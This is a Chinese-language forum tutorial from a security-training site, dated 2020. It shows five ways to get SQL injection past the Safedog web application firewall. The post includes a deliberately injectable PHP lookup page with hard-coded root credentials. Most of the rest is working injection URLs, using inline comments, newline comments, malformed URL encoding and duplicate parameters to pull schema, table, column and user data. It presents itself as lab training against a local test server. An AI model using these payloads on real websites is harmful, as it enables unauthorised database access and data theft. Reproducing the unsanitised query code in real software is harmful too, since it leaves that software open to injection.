必火安全2020年SQL注入五种方法绕过最新版安全狗-女黑客-必火安全学院

女黑客

 找回密码
 立即注册

QQ登录

只需一步,快速开始

必火安全2020年SQL注入五种方法绕过最新版安全狗

[复制链接]
发表于 2020-3-18 00:32:05 | 显示全部楼层 |阅读模式
0x01:环境搭建
windows 10 操作系统

1,phpstudy2016
2,安全狗最新版,(切记以管理员身份启动安全狗)
     安全狗配置插件问题请直击:
http://www.nvhack.com/forum.php?mod=viewthread&tid=176
3,php文件一枚,名字 bihuo.php 代码如下:
  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4.   <title>必火网络安全培训-带你走进网络安全培训圈</title>
  5.   <meta charset="utf-8">
  6.   <meta http-equiv="refresh" content="15">
  7.   <meta name="viewport" content="width=device-width, initial-scale=1">
  8.   <!-- 新 Bootstrap4 核心 CSS 文件 -->
  9.   <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/css/bootstrap.min.css">
  10.   <!-- jQuery文件。务必在bootstrap.min.js 之前引入 -->
  11.   <script src="https://cdn.staticfile.org/jquery/3.2.1/jquery.min.js"></script>
  12.   <!-- bootstrap.bundle.min.js 用于弹窗、提示、下拉菜单,包含了 popper.min.js -->
  13.   <script src="https://cdn.staticfile.org/popper.js/1.15.0/umd/popper.min.js"></script>
  14.   <!-- 最新的 Bootstrap4 核心 JavaScript 文件 -->
  15.   <script src="https://cdn.staticfile.org/twitter-bootstrap/4.3.1/js/bootstrap.min.js"></script>
  16.   <meta name="viewport" content="width=device-width, initial-scale=1.0">
  17.   <meta name="keywords" content="网络安全培训,渗透测试培训,web安全培训">
  18.   <meta name="description" content="黑客网-由北京必火网络安全平台打造,从事网络安全白帽子黑客攻防web安全信息安全渗透测试教学培训,未来岗位有网络安全工程师,渗透测试工程师,安全服务工程师,一应急响应工程师等">
  19. </head>
  20. <body>
  21. <nav class="navbar navbar-expand-md bg-dark navbar-dark fixed-top text-center mb-1">
  22.   <a class="navbar-brand" href="/">必火安全签到查询系统</a>
  23.    <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#collapsibleNavbar">
  24.       <span class="navbar-toggler-icon"></span>
  25.    </button>
  26.   <div class="collapse navbar-collapse" id="collapsibleNavbar">
  27.     <ul class="navbar-nav">
  28.       <li class="nav-item">
  29.       <!-- <a class="nav-link" href="/">必火安全签到系统</a> -->
  30.       </li>
  31.     </ul>
  32.   </div>  
  33. </nav>
  34. <?php
  35.   $link = mysqli_connect("localhost","root","root","qiandao");
  36.   // mysqli_charset_set($link,"utf-8");
  37.   mysqli_set_charset($link,"utf-8");
  38. ?>
  39. <center>
  40.   <h3 style="margin-top: 60px;margin-bottom: 20px;">【必安科技-做最专业的网络安全高端人才培训】</h3>
  41.   <form>
  42.     输入手机号查询: <input type="text" name="tel">
  43.     <input type="submit" value="查询">
  44.   </form>
  45.   <br>
  46. <table border="1" width="60%">
  47.   <tr><td>序号</td><td>姓名</td><td>状态</td><td>总签到次数</td></tr>
  48.   <?php
  49.     if (!empty($_GET['tel'])) {
  50.       $tel = $_GET['tel'];
  51.       // $tel = intval($tel);
  52.       // $tel = str_replace("'", "", $tel);
  53.       $num = 1;
  54.       $sql = "select * from users where tel = '$tel'";
  55.       $result = mysqli_query($link,$sql);
  56.       if (mysqli_num_rows($result)>0) {
  57.         $row = mysqli_fetch_assoc($result);

  58.         echo "<tr><td>$num</td><td>{$row['username']}</td>";
  59.         if ($row['status']==1) {
  60.           echo "<td><span style='color:red'>已签到</span></td>";
  61.         }else{
  62.           echo "<td>王者荣耀征战中</td>";
  63.         }
  64.         echo "<td>{$row['count']}</td></tr>";
  65.       }else{
  66.         echo "【查无此人】";
  67.       }
  68.       mysqli_free_result($result);
  69.       mysqli_close($link);
  70.     }
  71.    ?>
  72. </table>
  73. </center>

  74. <div class="card bg-dark text-white mt-1 text-center" id="lianxi">
  75.   <div class="card-body"> 必火网络安全培训 <br>
  76.     <br>
  77.     @2019 版权所 北京必安科技有限公司 www.hacker.wang <a href="http://www.hacker.wang">黑客网</a>  
  78.   </div>
  79. </div>
  80. </body>
  81. </html>
复制代码
4,数据库配置文件:sql内容如下,请建立数据库后->新建查询执行,别忘记php文件中更改数据库名字
  1. DROP TABLE IF EXISTS `users`;
  2. CREATE TABLE `users` (
  3.   `id` int(4) NOT NULL AUTO_INCREMENT,
  4.   `username` varchar(100) DEFAULT NULL,
  5.   `tel` bigint(11) DEFAULT NULL,
  6.   `status` tinyint(1) DEFAULT NULL,
  7.   `count` int(11) DEFAULT NULL,
  8.   `code` int(10) DEFAULT NULL,
  9.   PRIMARY KEY (`id`)
  10. ) ENGINE=MyISAM AUTO_INCREMENT=49 DEFAULT CHARSET=utf8;
  11. #
  12. # Data for table "users"
  13. #
  14. /*!40000 ALTER TABLE `users` DISABLE KEYS */;
  15. INSERT INTO `users` VALUES (1,'必火安全',13512341234,1,1,NULL),(2,'渗透测试',18811111111,1,1,3359);
  16. /*!40000 ALTER TABLE `users` ENABLE KEYS */;
复制代码

0x02:测试网站功能并且确定注入类型
1,输入手机号,查询签到的人,功能正常



2,输入 1' or 1 and 1 --+ (意思是闭合参数tel的单引号,or 1 and 1 让条件结果为真,无论1是否存在都会返回数据,--+ 闭合后面的其他语句)回显页面正常


输入 1' or 1 and 0 --+(页面显示不正常,and 0 生效 确定字符型注入)


0x03:第一种绕过方法,启动安全狗,开启所有防护


No.1 内联注释(/*![12345]*/)绕过方法:
  • /*!select*/:  相当于没有注释
  • /*!12345select*/: 当12345小于当前mysql版本号的时候,注释不生效,当大于版本号的时候注释生效。
  • /*![]*/: []中括号中的数字若填写则必须是5位
1,执行检测安全狗功能
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' or 1 and 1=1--+
复制代码


拦截绕过方法:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' or -1 and -1=-1--+
复制代码



2,判断列数
执行语句:
http://192.168.31.142/safedog/bihuo.php?tel=1' or 1 order by 1--+


绕过方法:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544order/*!11544by/*!11544*/1--+
复制代码
确定列数位为6




3,联合查询判断显示位:union 联合查询说明
union必须由两条或两条以上的select语句组成,语句之间用关键字Union分隔Union中的每个查询必须包含相同的列
执行语句:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1'  or -1 union select 1,2,3,4,5,6--+
复制代码



绕过方法:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' or -1/*!11544union/*!11544select/*!115441,2,3,4,5,6*/--+
复制代码



去掉or -1 得到显示位(意识是没有or -1 那么联合查询结果为假,将不再返回第一条数据,而是显示union后的结果,也就是123456,从而得到显示位)



4,获取所有数据库名字
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' union select 1,2,3,4,group_concat(schema_name),6 from information_schema.schemata--+
复制代码
group_concat() 这个函数是把多行数据放到一行显示



绕过方法:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union/*!11544select/*!115441,2,3,4,group_concat(schema_name),6*/from information_schema.schemata--+
复制代码



5,获取当前数据库下所有表名
执行语句
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' union select 1,2,3,4,group_concat(table_name),6 from information_schema.tables where table_schema=database()--+
复制代码



绕过方法:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' /*!11544union /*!11544select/*!115441,2,3,4,/*!11544group_concat(/*!11544table_name),6/*!11544from/*!11544information_schema.tables/*!11544where/*!11544table_schema=/*!11544database/*!11544()*/--+
复制代码



这里有一点比较重要database() 可以变成database/*!11544()*/
6,获取当前用户表users下所有列名
执行语句:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' union select 1,2,3,4,group_concat(column_name),6 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码




绕过方法:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1'/*!11544union/*!11544select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema in (database/*!11544()) and table_name in (0x7573657273)*/--+
复制代码



7,有表名,有列名,那就可以获取当前表的所有内容
执行语句直接绕过:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1'/*!11544union /*!11544select 1,2,3,4, group_concat(concat_ws(0x23,username,tel)),6 from users*/--+
复制代码




解析:
  • 这里的concat_ws 为mysql中的函数,作用是链接两个字符变量,这里把username和tel拼接在一起,用0x23分割,0x23是"#"的16进制编码。至此绕狗成功!
  • 下面介绍其他方法,直接走倒数第二个步骤获取列名了,因为这一步过了,其他基本上全能过。

0x04: 第二种绕过方法,内联注释另类思想绕过
传统的方法使用内联注释都是使用 /*!12345select*/ 去注释SQL关键字符来进行绕waf,那么为什么非得注释关键字呢,她是美女么?有我们必火的小女生好看吗?如果不是美女,也没我们的小女生好看,那能不能不注释关键字,注释点别的好不好?
执行语句:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1'union/*!88888www.hacker.wang*/select 1,2,3,4,  group_concat(column_name),6 from information_schema.columns where table_schema=database () and /*!88888www.hacker.wang*/table_name=0x7573657273 --+
复制代码



解析:
  • 图中两处 /*!88888www.hacker.wang*/ 即可绕狗 :88888 肯定大于当前啊版本号,所以注释内容不执行,等于没有加这句话,不影响程序运行。
  • 下面的表名要换成16进制。
  • 注意database()中间有个空格

0x05:第三种绕过方法,精通mysql语法,自然懂的绕过方法
执行语句绕过:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' union -- www.hacker.wang%0aselect 1, 2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database () and  -- www.hacker.wang%0a table_name=0x7573657273--+
复制代码

解析:
  • --:表示注释,在mysql中真正的注释是"-- ",这里必须有个空格,否则不是注释,%0a是换行的url编码,换号后,表示重新查询,前面的注释对后面的语句将不再影响,这也要注意,
  • database空格()这里,中间有个空格
0x06:第四种绕过方法,特殊的URL编码绕过安全狗
执行语句绕过:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1' union/*%!a*/select 1,2,3,4,  group_concat(column_name),6 from information_schema.columns  where table_schema=database () and table_name in (0x7573657273) --+
复制代码


解析:
  • 此处%!a是一个错误的url编码,但这个编码比较特殊,可以绕狗,其他则不行。
  • 这里的table_name 要 改成  table_name in (0x7573657273)  这种格式
  • database() 中间有个空格 database空格()
0x07:第五种绕过方法,url另类传参绕过安全狗
执行语句:
  1. http://192.168.31.142/safedog/bihuo.php?tel=1&bihuo=/*&tel=1'union select 1,2,3,4, group_concat(column_name),6 from information_schema.columns where table_schema=database() and table_name='users' --+*/
复制代码





这里红色框处,当url参数出现两个同名参数时,将取最后一个参数的值,所以这里会取后面的tel的值,前面传参/*,后面*/闭合:

绕过分析:安全狗误以为/**/是注释的内容所以全部忽略。

  • 本次教程到此结束,欢迎关注必火安全公众号,公众号:bihuo_cn
  • 微信添加公众号,搜索 必火安全
  • 北京必安科技有限公司,专注网络安全人才培养,需要人才请加微信:nvhack 段老师



回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|小黑屋|女黑客 |网站地图

© Copyright 2021 版权所有(一极教育科技有限公司)

津ICP备17008032号-3
快速回复 返回顶部 返回列表